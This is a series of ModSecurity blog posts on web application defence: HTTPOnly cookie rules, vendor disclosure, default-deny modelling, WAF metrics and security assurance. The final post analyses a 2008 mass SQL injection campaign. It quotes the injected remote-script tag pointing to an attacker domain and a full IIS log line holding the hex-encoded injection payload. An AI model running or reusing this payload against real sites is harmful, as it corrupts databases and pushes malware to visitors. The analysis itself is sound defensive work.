ModSecurity Blog: Web Security

If you are unfamiliar with what the HTTPOnly cookie flag is or why your web apps should use it, please refer to the following resources -

• Mitigating Cross-site Scripting With HTTP-only Cookies - http://msdn.microsoft.com/en-us/library/ms533046.aspx
• OWASP HTTPOnly Overview - http://www.owasp.org/index.php/HTTPOnly

The bottom line is this - while this cookie option flag does absolutely nothing to prevent XSS attacks, it does significanly help to prevent the #1 XSS attack goal which is stealing SessionIDs.  While HTTPOnly is not a "silver bullet" by any means, the potential ROI of implement it is quite large.  Notice I said "potential" as in order to provide the intended protections, two key players have to work together -

• Web Applications - whose job it is to append the "HTTPOnly" flag onto all Set-Cookie response headers for SessionIDs, and
• Web Browsers - whose job it is to identify and enforce the security restrictions on the cookie data so that javascript can not access the contents.

The current challenges to realizing the security benefit of the HTTPOnly flag is that universal adoption in both web apps and browsers is still not there yet.  For example, depending on your web app platform, you may not have an easy mechanism to implementing this feature.  For example - in Java you could following the example provided here on the OWASP site - http://www.owasp.org/index.php/HTTPOnly#Using_Java_to_Set_HTTPOnly, however this doesn't work well for the JSESSIONID as it is added by the framework.  Jim Manico has been fighting the good fight to try and get Apache Tomcat developers to implement his patch to add in HTTPOnly support - http://manicode.blogspot.com/2008/08/httponly-in-tomcat-almost.html.  The point is that with so many different web app development platforms, it isn't going to be easy to find support for this within every web app that you have to secure...

As for browsers - they too have sporadic, non-consistent adoption of HTTPOnly.  It was for this reason that the OWASP Intrinsic Security group has started an RFC Spec for HTTPOnly - http://groups.google.com/group/ietf-httponly-wg.  Hopefully this group will get some traction with the various browser developers.

So, at this point you might be asking yourself - Ryan, that is interesting news and all, but why is this being posted on the ModSecurity site?  What can a web application firewall do to help with this issue?  I would then in turn reply - Great question, I am glad that you asked. ;)

One of my pet peevs with the web application security space is the stigma that is associated with a WAF.  Most everyone only focuses in on the negative security and blocking of attacks aspects of the typical WAF deployment and they fail to realize that WAFs are a highly specialized tool for HTTP.  Depending on your circumstances, you may not ever intend to do blocking.  There are many other use-cases for WAFs and how they can help, in this case as a tactical response tool to help address an underlying vulnerability  In this case, we could monitor when back-end/protected web applications are handing out SessionIDs that are missing the HTTPOnly flag.  This could raise an alert that would notify the proper personnel that they should see if editing the web language code is possible to add this feature in.  A rule to do this with ModSecurity would look like this -

# Identifies SessiondIDs without HTTPOnly flag
#
SecRule RESPONSE_HEADERS:/Set-Cookie2?/ "!(?i:\;? ?httponly;?)" "chain,phase:3,t:none,pass,log,auditlog,msg:'AppDefect: Missing HttpOnly Cookie Flag.'"
  SecRule MATCHED_VAR "(?i:(j?sessionid|(php)?sessid|(asp|jserv|jw)?session[-_]?(id)?|cf(id|token)|sid))" "t:none"

While this rule is pretty useful for identifying and alerting of the issue, many organizations would like to take the next step and try and fix the issue.  If the web application does not have a way to add in the HTTPOnly cookie flag option internally, you can actually leverage ModSecurity+Apache for this purpose.  ModSecurity has the ability to set environmental data that Apache reads/acts upon.  In this case, we can modify our previous rule slightly to use the "setenv" action and then we add an additional Apache "header" directive that will actually overwrite the data with new Set-Cookie data that includes the HTTPOnly flag -

# Identifies SessiondIDs without HTTPOnly flag and sets the "http_cookie" ENV
# Token for Apache to read
SecRule RESPONSE_HEADERS:/Set-Cookie2?/ "!(?i:\;? ?httponly;?)" "chain,phase:3,t:none,pass,nolog"
  SecRule MATCHED_VAR "(?i:(j?sessionid|(php)?sessid|(asp|jserv|jw)?session[-_]?(id)?|cf(id|token)|sid))" "t:none,setenv:http_cookie=%{matched_var}"

# Now we use the Apache Header directive to set the new data

Header set Set-Cookie "%{http_cookie}e; HTTPOnly" env=http_cookie

The end result of this ruleset is that ModSecurity+Apache can transparently add on the HTTPOnly cookie flag on the fly to any Set-Cookie data that you define.  Thanks goes to Brian Rectanus from Breach for working with me to get the Header directive syntax correct.

One note of warning - make sure that you understand how the web application is handling setting SessionIDs meaning if they are created server-side vs. client-side (in javascript).  This rule set will work fine if the SessionIDs are generated server-side.  If they are created client-side, however, this will disrupt session management.

Hopefully the data presented here will help people who would like to have the security benefit of this flag however are running into challenges with implementing it within the app.

Before I talk to the title of this post, I have to provide a little back story. I have had an ongoing DRAFT blog post whose subject was basically a rant against many vendors who were unwilling to offer vulnerability details. Every now and then I would review and update it a bit, but I never got to the point of actually posting it. I figured it wouldn't do much good in the grand scheme of things and the mere act of updating it provided adequate cathartic relief that a public post was not required.  There has been some recent developments, however that has allowed me to dust off my post and to put a "kudos" spin on it :)

I have long been a proponent of providing options for people to mitigate identified vulnerabilities.  We all realize that the traditional software patching process takes way too long to complete and push out into production when considering that the time it takes for the bad guys to create worm-able exploit code is usually measured in days.  When you combine this with most vendor's vulnerability disclosure policies (which is essentially not to disclose any details), then it is obvious that the bad guys have a distinct advantage in this particular arms race...

Ideally, all vulnerability researchers would work with the vendor and they would jointly release details with patches and then customers would immediately implement them on production hosts.  Unfortunately, reality is much different.  Researchers often have their own agendas and decided to release vulnerability details on their own.  In these cases, the end users have no mitigation options provided by the vendor and are thus exposed to attacks.  For those situations where the researchers and the vendor work together, then the end user at least has a fix that they can apply.  The problem is that the standard time-to-fix for organizations to test and install patches is usually a couple months.  So, the vendor has pushed the pig over the fence onto the customer and essentially takes a "it's now your problem now" approach.

What would be useful would be some technical details on the vulnerabilities that are addressed within the patches.  Let's take a look at Oracle's position on public disclosure.  The fact that this is Oracle is irrelevant as many vendors share this same view and that is that they don't want to disclose any technical details of a vulnerability BEFORE patches are released.  I really can't fault them for this stance as they want to ensure that they have patches ready.  What I am focusing on here is when they have a patch set ready, they should provide enough technical details about the vulnerability so that an organization can implement some other mitigation options until the actual patches are installed.  Unfortunately, the vendors position is that they didn't want to release the details as to prevent the bad guys from obtaining the info.  What they are missing, however, is that both the good guys (Sourcefire, iDefense, etc...) and the bad guys are reverse engineering the vendors patches to uncover the details about the vulnerability.  The only people who don't have any details are the end users.

So the point is that Pandora is already out of the box when vendors release patches.  What they should do then is to give technical details for security folks to implement some defenses (for IDSs/IPSs).  A great example of this is when bleeding edge/emerging threats folks would create Snort signatures so that an organization can identify if someone is attempting to exploit a flaw.

Now, the whole point of this post is to highlight that I have been fighting the good fight with many vendors to try and get them to see the light on the value of either releasing technical details on web-based vulnerabilities so that end users can create virtual patches with a web application firewall, or even better, for the vendor to release some virtual patches themselves (using the ModSecurity rules language).  Well, we haven't achieved the latter one yet but we are seeing signs that both Oracle and Microsoft are starting to address the former.  Specifically, Oracle/BEA recently released details about a WebLogic plug-in for Apache and in the mitigation section they actually mentioned the use of ModSecurity to address the problem!  That is a huge step and something that I am extremely excited about.  Then just within the last week we saw the announcement of Microsoft's Active Protections Program (MAPP).  Here is the short overview -

The Microsoft Active Protections Program (MAPP) is a new program that will provide vulnerability information to security software providers in advance of Microsoft Corp.’s monthly security update release. By receiving vulnerability information earlier, security software providers can give customers potential improvements to provide security protection features, such as third-party intrusion detection systems, intrusion prevention systems or security software signatures.

This is certainly an interesting initiative and may help organizations to receive more timely mitigation options to help protect themselves until the official patches are deployed.

Overall, I have have say GREAT job Oracle and Microsoft for truly helping your customers to close their time-to-fix windows.   

A revised version (but still a draft) of the Enough With Default Allow in Web Applications! paper is now available for download. (My previous post on this topic is here.) The major changes in this version include:

1. Decided to use a flat model of resources, rather than a hierarchical one, after realising the nested approach would make models very difficult to read for any non-trivial application. Also, we wanted to support the virtual patching case, which doesn't work with nesting very well.
2. Behaviours can now specify character encodings, which is very important in order to properly parse parameters.
3. We've allowed for a per-model data dictionary, which would allow parameter types to be defined once and reused throughout the model.
4. Many clarifications and small fixes throughout.

Update (4 Aug 2008): Updated links to point to the final version (spell-checked, reviewed and branded) of the paper.

The title of this blog post is also the title of a research paper we are currently working on. Although the paper is still in draft form, we've decided to circulate it widely (download here) because we believe a public exposure in this early stage would benefit it significantly. Also, as you will see from the paper, for the proposed concept to succeed it must have support from many diverse groups of users. What do we want to achieve? Let's look at the summary:

The default allow deployment model, which is commonly used to implement
and deploy web applications, is the cause of numerous security problems. We propose
a method of modelling web applications in a platform-agnostic way to adopt
a default deny model instead, removing several classes of vulnerability altogether
and significantly reducing the attack surface of many others. Our approach is best
adopted during development, but can be nearly as efficient as an afterthought, or
when used at deployment time.

Our main problem is with these three things:

1. HTTP (in a wider sense, taken to mean all specifications needed to develop and deploy web applications) has grown to be quite complex, but although applications generally use a very small subset they are still expected to support every single feature.
2. Many applications are treated as simple collections of files (if it's on the filesystem it's part of application), and this is creating all sorts of issues.
3. Applications do not specify their external interfaces. This is really a consequence of the above two problems. Applications cannot specify external interfaces because they are all implicit.

The bottom line is that we have a chance to create a beautifully positioned protection layer (between web servers and applications), which would not only increase security overall, but turn applications into verifiable components with external contracts that can be enforced.

We propose a use of a platform-independent format to document what applications are willing to accept from the outside world, with the following use cases envisioned:

1. Creation of full application models, which reduce application attack surface. Such models can be created by application developers (which is preferred) or by application users (which, we expect, could happen with very popular and/or open source applications).
2. Creation of partial application models for use in virtual patching.
3. Automated creation of application models through traffic analysis.

In addition to the paper itself, we are planning to release an open source profiling tool (which I will announce next week) to help with the third use case and automate the creation of positive security models (also known as the learning feature of web application firewalls).

Download Enough With Default Allow in Web Applications!

Update (4 Aug 2008): Changed links to point to the final version (reviewed, spell-checked and branded) of the paper. The follow up post is here.

In my earlier post entitled "What's the Score of the Game?" I presented the concept that what ultimately matters with web application security is how the application performs during a "Real Game" which means when it is deployed live on the production network.  Everything else that happens before that time is preparation.  It is important preparation, however no one is given the Lombardi Trophy based on how hard they practiced!  No, you actually have to play in and win the Super Bowl in order to obtain that hardware :)  So, referencing back to the title of this post, if the production network is "where" the webappsec game is actually played, then the next logical question is "How do we keep score?"

This is where web security metrics come into play.

When I say web security metrics, I am referring to data that is relevant to answering the question - Are we winning or losing the game?  By that I mean - in football in order to win the game you have to have more points than your opponent at the end of the game.  In webappsec, if you are in charge of defending a web application, you win if an attacker tries to compromise your site and is unable.  This seems like a "Duh" statement but it actually isn't when you consider how many web security vendors try and tell you the "Score of the Game".  Most vendors will present customers with colorful pie charts stating that a web site has X number of vulnerabilities or that they blocked X number of attacks.  This is like asking someone who won the Giants vs. Patriots game and getting a response of - the Patriots completed 35 passes while the Giants intercepted them 3 times.  Not really answering the question is it?  While some customers may be distracted by eye-catching graphical displays of this information, the savvy ones will ask this key question - Were there any successful attacks?  The answer to this question will tell you the score of the game - did the opponent score any touchdowns???  All other data is corollary.

Sidebar - realistically you are dealing with two different types of attacks - the automated kind where an attacker is targeting a specific vuln and searching for sites that have it or the manual type where the attacker is targeting your site specifically and they must then find a vuln to exploit.  In the former case, it is like when a football opponent tries one desperate Hail-Mary pass down the field as time expires.  If you bat the football down, you win.  If you don't, you lose.  In the latter case, it is like a methodical 99-yard drive down the field where your opponent is running 2-yard dive plays left and right and slowly marching down the field.  If you give them enough time, then they will most likely score.  In this case, it is critical that your webappsec defenses are such that you are able to force the attacker to manually try and search for complex logical attacks or develop evasions, you might then be able to implement countermeasures to prevent them access before being successful.

With this concept as a backdrop, let me present the web security metrics that I feel are most important for the production network and gauging how the web application's security mechanisms are  performing -

1. Web Transactions per Day - This should be represented as a number (#) and establishes a baseline of web traffic and provides some perspective for the other metrics.  Some WAFs will be able to keep track of this data on their own.  If this is not possible then you would need to correlate web server log data.
2. Attacks Detected/True Positive - This data should be represented as both a number (#) and as a percentage (%) of item 1 - total web transactions.  This data is a general indicator of malicious web traffic.  These numbers are presented in a all WAF reporting functions.
3. Missed attacks/False Negative - This data should be represented as both a number (#) and as a percentage (%) of item 1 - total web transactions.  This data is a general indicator of the effectiveness of the web application firewall's detection accuracy.  This is the key metric that is missing when people are trying to determine their webappsec success.  If the WAF is configured for "alert-centric" logging and therefore only logging blocked attacks then you will not be able to report on this data automatically using the WAFs built-in reporting facilities.  If, on the other hand, the WAF audit logging all relevant traffic (requests for non-static resources, etc...) then an Analyst would have raw data to conduct batch analysis and identify missed attacks.  The fall-back data source would be whatever incident response processes exist for the organization.  There may be other sources of data (web logs, IDS, etc...) where a web attack may be confirmed.
4. Blocked Traffic/False Positive - This data should be represented as both a number (#) and as a percentage (%) of item 1 - total web transactions.  This data is a general indicator of the effectiveness of web application firewall's detection accuracy.  This is very important data for many organizations because blocking legitimate customer traffic can mean missed revenue.  This can usually be identified by evaluating any Exceptions that needed to be implemented by the WAF in order to allow "legitimate" traffic that was otherwise triggering a negative security rule or signature.  Besides Exceptions, this data can be identified in Reports if the WAF has appropriate alert ticketing interfaces where an Analyst can categorize the alert. 
5. Attack Detection Failure Rate - This data should be represented as a percentage (%) and is derived by adding items 3 (False Negatives) and 4 (False Positives) and then dividing by item 2 - True Positives.  This percentage will give an overall effectiveness of web application firewall's detection accuracy - meaning the Score of the Game.

Sidebar - I am referencing web application firewalls in the metrics as they are specifically designed to report on this type of data.  You could substitute any security filtering code mechanism built directly into the webapp code, however many implementations do not adequately provide logging and reporting for this data.  This code may present users with a friendly error message, however they are essentially performing "silent drops" of requests from the back-end logging perspective.

As stated earlier, many webappsec vendors will only provide statistics related to item #2 (blocked attacks).  While this data does factor into the equation, it does not provide the best indicator of overall web application security on its own.  So, if you really want to know what the score of the game is for you web applications, I suggest you start tracking the metrics provided in this post.

We, as the webappsec community, should try and move away from "Holy Wars" debating that there is only one right way to address web application vulnerabilities - source code reviews, vulnerability scanning or web application firewalls - and instead focus on the end results. Specifically, instead of obsessing on Inputs (using application x to scan) we should turn our attention towards Outputs (web application hackability). This concept has been skillfully promoted by Richard Bejtlich of TaoSecurity and is called Control-Compliant vs. Field-Assessed security. Here is a short paragraph intro:

In brief, too many organizations, regulators, and government agencies waste precious time and resources devising and auditing "controls," regardless of the effect these controls have or do not have on security. They are far too input-centric; they should become more output-aware. They obsess over recording conditions they believe may be helpful while remaining ignorant of the "score of the game." They practice management by belief and disregard management by fact.

While the impetus for Richard's soapbox rant was the Goverment auditing mindsets, we can still apply this same "input-centric" focus to our current state of webappsec. Due to regulations such as PCI, we are unfortunately framing web security in an input-centric lens and forcing users to checkmark a box stating that they are utilizing process x rather than formulating a strategy to conduct field-assessments to obtain proper metrics on how difficult is it to hack into the site. We are focusing too much on whether a web application's code was either manually or automatically reviewed or if it was scanned with vendor X's scanner, rather than focusing on what is really important - did these activities actually prevent someone from breaking into the web application? If the answer is No, then who really cares what process you followed. More specifically, the fact that your site was PCI compliant at the time of the hack is going to be of little consequence.

Let's take a look at each of these input-centric processes through another great analogy by Richard:

Imagine a football (American-style) team that wants to measure their success during a particular season. Team management decides to measure the height and weight of each player. They time how fast the player runs the 40 yard dash. They note the college from which each player graduated. They collect many other statistics as well, then spend time debating which ones best indicate how successful the football team is. Should the center weigh over 300 pounds? Should the wide receivers have a shoe size of 11 or greater? Should players from the north-west be on the starting line-up? All of this seems perfectly rational to this team. An outsider looks at the situation and says: "Check the scoreboard! You're down 42-7 and you have a 1-6 record. You guys are losers!"

This is an analogy that I have been using more and more recently when discussing source code reviews as they are somewhat like the NFL Scouting Combine. Does measuring each players physical abilities guarantee a player or teams success? Of course not. Does it play a factor in the outcome of an actual game? Usually, however a team's Draft Grade does not always project to actual wins the following season. Similarly, is using an input validation security framework a good idea? Absolutely, however the important point is to look at the web application holistically in a "real game environment" - meaning in production - to see how it performs.

Sticking with the analogy, vulnerability scanning in dev environments is akin to running an Intra-squad scrimmage. It is much more similar to actual game conditions - there is an offense and defense, players are wearing pads and there is a time clock, etc... While this is certainly more realistic to actual game conditions, there is one key element missing - the opponent. Vulnerability scanners do not act in the exact same way that attackers do. Attackers are unpredictable. This is why, even though a team reviews film of their opponent to identify tendencies and devise a game plan to protect their own, it is absolutely critical that a team is able to make adjustments on the fly during a game. It is for this reason that running vulnerability scans in production is critical as you need to test the live system.

Running actual zero-knowledge penetration tests is like Pre-season games in the NFL. The opponent in this case is acting much more like a real attacker would and is actually exploiting vulnerabilities rather than probing and making inferences about vulnerabilities. It is as close as you can get to the real thing, except that the outcome of the game doesn't matter :)

Web application firewalls, that are running in Detection Only modes, are like trying to have a real football game but only doing two-hand touch. If you don't really try and tackle an opponent to the ground (meaning implement blocking capabilities) then you will never truly prevent an attack. Also, as most of you have seen with premiere running backs in the NFL - they have tremendous "evasion" capabilities such as spin moves and stiff-arms that make it difficult for defenders to tackle them. This is the same for web application layer attacks, WAFs need to be running in block mode and have proper anti-evasion normalization features to be able to properly prevent attacks.

It is on the live production network where all or your security preparations will pay off, or on the other hand, it is also where your web application security will crash and burn. I very seldom see development and staging areas that adequately mimic the production environment, which means that you will not truly know how your web application security will fair until it is allowed to be accessed by un-trusted clients. When your web application goes live, it is critical that your entire "team" (developers, assessemnt and operations) is focused and able to quickly respond to the unexpected behavior of clients.  The problem is that these groups do not always communicate effectively and coordinate their efforts.  Specifically, these three groups should be sharing their output with the other two:

Conduct code reviews on all web applications and fix the identified issues.  The code reviews should be conducted when applications are initially being developed and placed into production and also when there are code changes. Any issues that can not be fixed immediately should be identified and passed onto the vulnerabilty scanning and WAF teams for monitoring and remediation.

Conduct vulnerability scans and penetration tests on all web applications.  Should be conducted prior to an application going online and then at regularly scheduled intervals and on an on-demand basis when code changes are made. Any issues identified should be passed onto the Developement and WAF teams for remediation.

Deploy a Web Application Firewall in front of all web server. A WAF will provide protection in production. When the WAF identifies issues with the web application, it can provide reports back to both Development and Vulnerability Scanning teams for remediation and monitoring.  It is this on-the-fly, in-game agility where a WAF shines.

Are game time adjustments always the absolute best option when they are being reviewed in film sessions the following day or on Monday by Arm-Chair Quaterbacks? Nope, but that is OK. They can be adjusted. Also, this film review will also allow for the identification of root-cause issues so that they can be fixed (source code changes) in preparation for the next game.

Breach Labs which sponsors WHID has issued an analysis of the Web Hacking landscape in 2007 based on the incidents recorded at WHID. It took some time as we added the new attributes introduced lately to all 2007 incidents and mined the data to find the juicy stuff:

• The drivers, business or other, behind Web hacking.
 
• The vulnerabilities hackers exploit.
 
• The types of organizations attacked most often.

To be able to answer those questions, WHID tracks the following key attributes for each incident:

• Attack Method - The technical vulnerability exploited by the attacker to perform the hack.
 
• Outcome - the real-world result of the attack.
 
• Country - the country in which the attacked web site (or owning organization) resides.
 
• Origin - the country from which the attack was launched.
 
• Vertical - the field of operation of the organization that was attacked.

Key findings were: 

• 67% percent of the attacks in 2007 were "for profit" motivated. Ideological hacking came second.
 
• With 20%, good old SQL injections dominated as the most common techniques used in the attacks. XSS finished 4th with 12 percent and the young and promising CSRF is still only seldom exploited out there and was included in the "others" group.
 
• Over 44% percent of incidents were tied to non-commercial sites such as Government and Education. We assume that this is partially because incidents happen more in these organizations and partially because these organizations are more inclined to report attacks.
 
• On the commercial side, internet-related organizations top the list. This group includes retail shops, comprising mostly e-commerce sites, media companies and pure internet services such as search engines and service providers. It seems that these companies do not compensate for the higher exposure they incur, with proper security procedures.
 
• In incidents where records leaked or where stolen the average number of records affected was 6,000.

The full report can be found at Breach Security Network.

The recent Geeks.com compromise and subsequent articles have created a perfect storm of discussion topics and concerns related to web security. The underlying theme is that true web security encompasses much more than a Nessus scan from an external company.

The concepts (and much of the text) in this post are taken directly from a blog post by Richard Bejtlich on his TaoSecurity site. I have simply tailored the concepts specifically to web security. Thanks goes to Richard for always posting thought provoking items and making me look at web security through a different set of eyes. You know what they say about imitation ;)

The title of this post form the core of most of my recent thinking on web application security. Since I work for a commercial web application firewall company and am the ModSecurity Community Manager, I often get the chance to talk with people about web application security. While I am not a "sales" guy, I do hang out at our vendor booth when we are at conferences. I am mainly there to field technical questions and just interact with people. I have found that the title of this post is actually one of the absolute best questions to ask someone when they first come up to our booth. It always sparks interesting conversation and can shed light onto specific areas of strength and weakness.

What does it mean to be secure?

Obviously having logos posted on a web site that tout "we are secure" is really just a marketing tactic aimed to re-assure potential customer that it is safe to purchase goods at their site. The reality is that these logos are non-reliable and make no guarantee as to the real level of security offered by the web site. At best, they are an indication that the web site has met some sort of minimum standard. But that is a far cry from actually being secure.

Let me expand "secure" to mean the definition Richard provided in his first book: Security is the process of maintaining an acceptable level of perceived risk. He defined risk as the probability of suffering harm or loss. You could expand my six word question into are you operating a process that maintains an acceptable level of perceived risk for your web application?

Let's review some of the answers you might hear to this question. I'll give an opinion regarding the utility of the answer as well. For the purpose of this exercise let's assume it is possible to answer "yes" to this question. In other words, we just don't answer "no." We could all make arguments as to why it's impossible to be secure, but does that really mean there is no acceptable level of perceived risk in which you could operate? I doubt it. Let's take a look at the varios levels of responses.

So, is your website secure? Prove it.

1. Yes.

Then, crickets (i.e., silence for you non-imaginative folks.) This is completely unacceptable. The failure to provide any kind of proof is security by belief. We want security by fact. Think of it this way, would auditors accept this answer? Could you pass a PCI Audit by simply responding yeah, we are secure. Nope, you need to provide evidence.

2. Yes, we have product X, Y, Z, etc. deployed.

This is better, but it's another expression of belief and not fact. The only fact here is that technologies can be abused, subverted, and broken. Technologies can be simultaneously effective against one attack model and completely worthless against another.

This also reminds me of another common response I hear and that is - yes, we are secure because we use SSL. Ugh... Let me share with you one personal experience that I had with an "SSL Secured" website. Awhile back, I decided to make an online purchase of some herbal packs that can be heated in the microwave and used to treat sore muscles. When I visited the manufacturer's web site, I was dutifully greeted with a message "We are a secure web site! We use 128-bit SSL Encryption." This was reassuring as I obviously did not want to send my credit card number to them in clear text. During my checkout process, I decided to verify some general SSL info about the connection. I double-clicked on the "lock" in the lower-right hand corner of my web browser and verified that the domain name associated with the SSL certificate matched the URL domain that I was visiting, that it was signed by a reputable Certificate Authority such as VeriSign, and, finally, that the certificate was still valid. Everything seemed in order so I proceeded with the checkout process and entered my credit card data. I hit the submit button and was then presented with a message that made my stomach tighten up. The message is displayed next; however, I have edited some of the information to obscure both the company and my credit card data.

The following email message was sent:

To:companyname@aol.com
From: RCBarnett@email.com
Subject:ONLINE HERBPACK!!!
name: Ryan Barnett
address: 1234 Someplace Ct.
city: Someplace
state: State
zip: 12345
phone#:
Type of card: American Express
name on card: Ryan Barnett
card number: 123456789012345
expiration date: 11/05
number of basics:
Number of eyepillows:
Number of neckrings: 1
number of belted: 1
number of jumbo packs:
number of foot warmers: 1
number of knee wraps:
number of wrist wraps:
number of keyboard packs:
number of shoulder wrap-s:
number of cool downz:
number of hats-black:         number of hats-gray:
number of hats-navy:         number of hats-red:
number of hats-rtcamo:         number of hats-orange:
do you want it shipped to a friend:
name:
their address:
their city:
their state:
their zip:
  
cgiemail 1.6

I could not believe it. It looked as though they had sent out my credit card data in clear-text to an AOL email account. How could this be? They were obviously technically savvy enough to understand the need to use SSL encryption when clients submitted their data to their web site. How could they then not provide the same due diligence on the back-end of the process?

I was hoping that I was somehow mistaken. I saw a banner message at the end of the screen that indicated that the application used to process this order was called "cgiemail 1.6." I therefore hopped on Google and tried to track down the details of this application. I found a hit in Google that linked to the cgiemail webmaster guide. I quickly reviewed the contents and found what I was looking for in the "What security issues are there?" section:

Interception of network data sent from browser to server or vice versa via network eavesdropping. Eavesdroppers can operate from any point on the pathway between browser and server.

Risk: With cgiemail as with any form-to-mail program, eavesdroppers can also operate on any point on the pathway between the web server and the end reader of the mail. Since there is no encryption built into cgiemail, it is not recommended for confidential information such as credit card numbers.

Shoot, just as I suspected. I then spent the rest of the day contacting my credit card company about possible information disclosure and to place a watch on my account. I also contacted the company by sending an email to the same AOL address outlining the security issues that they needed to deal with. To summarize this story: Use of SSL does not a "secure site" make.

3. Yes, we are PCI compliant.

Generally speaking, regulatory compliance is usually a check-box paperwork exercise whose controls lag attack models of the day by one to five years, if not more. PCI is somewhat of an exception as it attempts to be more operationally relevant and address more current web application security issues. While there are some admirable aspects of PCI, please keep this mantra in mind -

It is much easier to pass a PCI audit if you are secure than to be secure because you pass a PCI audit.

PCI, like most other regulations, are a minimum standard of due care and passing the audit does make your site "unhackable." A compliant enterprise is like feeling an ocean liner is secure because it left dry dock with life boats and jackets. If regulatory compliance is more than a paperwork self-survey, we approach the realm of real of evidence. However, I have not seen any compliance assessments which measure anything of operational relevance. Check out Richard's Blog posts on Control-Compliant security for more details on this concept and why it is inadequate. What we really need is more of a "Field-Assessed" mode of evaluation. I will discuss this concept more in depth in future Blog posts.

4. Yes, we have logs indicating we prevented web attacks X, Y, and Z (SQL Injection, XSS, etc...).

This is getting close to the right answer, but it's still inadequate. For the first time we have some real evidence (logs) but these will probably not provide the whole picture. I believe that how people deploy and use a WAF is critical. Most people deploy a WAF in an "alert-centric" configuration which will only provide logs when a rule matches. Sure, these alert logs indicate what was identified and potentially stopped, but what about activities that were allowed? Were they all normal, or were some malicious but unrecognized by the preventative mechanism? Deploying a WAF as an HTTP level auditing device is a highly under-utilized deployment option. There is a great old quote that sums up this concept -

"In an incident, if you don't have good logs (i.e. auditing), you'd better have good luck."

5. Yes, we do not have any indications that our web applications are acting outside their expected usage patterns.

Some would call this rationale the definition of security. Whether or not this answer is acceptable depends on the nature of the indications. If you have no indications because you are not monitoring anything, then this excuse is hollow. If you have no indications and you comprehensively track the state of a web application, then we are making real progress. That leads to the penultimate answer, which is very close to ideal.

6. Yes, we do not have any indications that our web applications are acting outside their expected usage patterns, and we thoroughly collect, analyze, and escalate a variety of network-, host-, and web application-based evidence for signs of violations.

This is really close to the correct answer. The absence of indications of intrusion is only significant if you have some assurance that you've properly instrumented and understood the web application. You must have trustworthy monitoring systems in order to trust that a web application is "secure." The lack of robust audit logs is usually the reason why organizations can not provide this answer. Put it this way, Common Log Format (CLF) logs are not adequate for full web based incident responst. Too much data is missing. If this is really close, why isn't it correct?

7. Yes, we do not have any indications that our web applications are acting outside their expected usage patterns, and we thoroughly collect, analyze, and escalate a variety of network-, host-, and web application-based evidence for signs of violations. We regularly test our detection and response people, processes, and tools against external adversary simulations that match or exceed the capabilities and intentions of the parties attacking our enterprise (i.e., the threat).

Here you see the reason why number 6 was insufficient. If you assumed that number 6 was OK, you forgot to ensure that your operations were up to the task of detecting and responding to intrusions. Periodically you must benchmark your perceived effectiveness against a neutral third party in an operational exercise (a "red team" event). A final assumption inherent in all seven answers is that you know the assets you are trying to secure, which is no mean feat. Think of this practical exercise, if you run a zero-knowledge (meaning un-announced to operations staff) web application penetration test, how does your organization respond? Do they even notice the penetration attempts? Do they report it through the proper escalation procedures? How long does it take before additional preventative measures are employed? Without answers to this type of "live" simulation, you will never truly know if your monitoring and defensive mechanisms are working.

Conclusion

Indirectly, this post also explains why only doing one of the following: web vulnerability scanning, penetration testing, deploying a web application firewall and log analysis does not adequately ensure "security." While each of these tasks excel in some areas and aid in the overall security of a website, they are each also ineffective in other areas. It is the overall coordination of these efforts that will provide organizations with, as Richard would say, a truly "defensible web application."

Here is a snippet from the just released SANS NewsBites letter:

"TOP OF THE NEWS --SQL Injection Attack Infects Thousands of Websites (January 7 & 8, 2008) At least 70,000 websites have fallen prey to an automated SQL injection attack that exploits several vulnerabilities, including the Microsoft Data Access Components (MDAC) flaw that Microsoft patched in April 2006. Users have been redirected to another domain [u c 8 0 1 0 . c o m], that attempted to infect users' computers with keystroke loggers. Many of the sites have since been scrubbed. The attack is similar to one launched last year against the Miami Dolphins' Stadium website just prior to the Super Bowl."

Additional coverage is available from several places:

• InfoWorld
• CSO Online
• The Register

So, there is a new, nasty bot on the loose that is targeting websites that use IIS/MS-SQL DB. It is exploiting non-specific SQL Injection vulnerabilities that exist in websites to inject malicious JavaScript into all fields. Once it gets the victims to the web site it will try and exploit various known browser and plugin vulnerabilities. Essentially, the attack inserts <script src=http://?.uc8010.com/0.js></script> into all varchar and text fields in your SQL database.

While there has been much focus on the goal of the attack -- which is to try and exploit some browser (client) vulnerabilities to perhaps install some trojans or other malware -- not as much attention has been paid to actual attack vector that lead to the compromise: the SQL injection attack itself.

Here is an example IIS log entry of the SQL Injection attack that was posted to a user forum:

2007-12-30 18:22:46 POST /crappyoutsourcedCMS.asp;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST
(0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002
C0040004300200076006100720063006800610072002800320035003500290020004400450043004C004100520045002
0005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002
000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006
F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006
E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E0064002
00061002E00780074007900700065003D00270075002700200061006E0064002000280062002E0078007400790070006
5003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E007
80074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D003100360037002
90020004F00500045004E0020005400610062006C0065005F0043007500720073006F007200200046004500540043004
80020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007
200200049004E0054004F002000400054002C004000430020005700480049004C0045002800400040004600450054004
30048005F005300540041005400550053003D0030002900200042004500470049004E002000650078006500630028002
70075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B004
00043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006
800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C007300630072006900700074002
0007300720063003D0068007400740070003A002F002F0063002E007500630038003000310030002E0063006F006D002
F0030002E006A0073003E003C002F007300630072006900700074003E002700270027002900460045005400430048002
0004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F0072002
00049004E0054004F002000400054002C0040004300200045004E004400200043004C004F00530045002000540061006
2006C0065005F0043007500720073006F00720020004400450041004C004C004F0043004100540045002000540061006
2006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);–|178|80040e14|
Unclosed_quotation_mark_before_the_character_string_’G;DECLARE_@S_NVARCHAR(4000);SET_@S=CAST
(0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002
C00400043002000′. - 202.101.162.73 HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library)
 - 500 15248

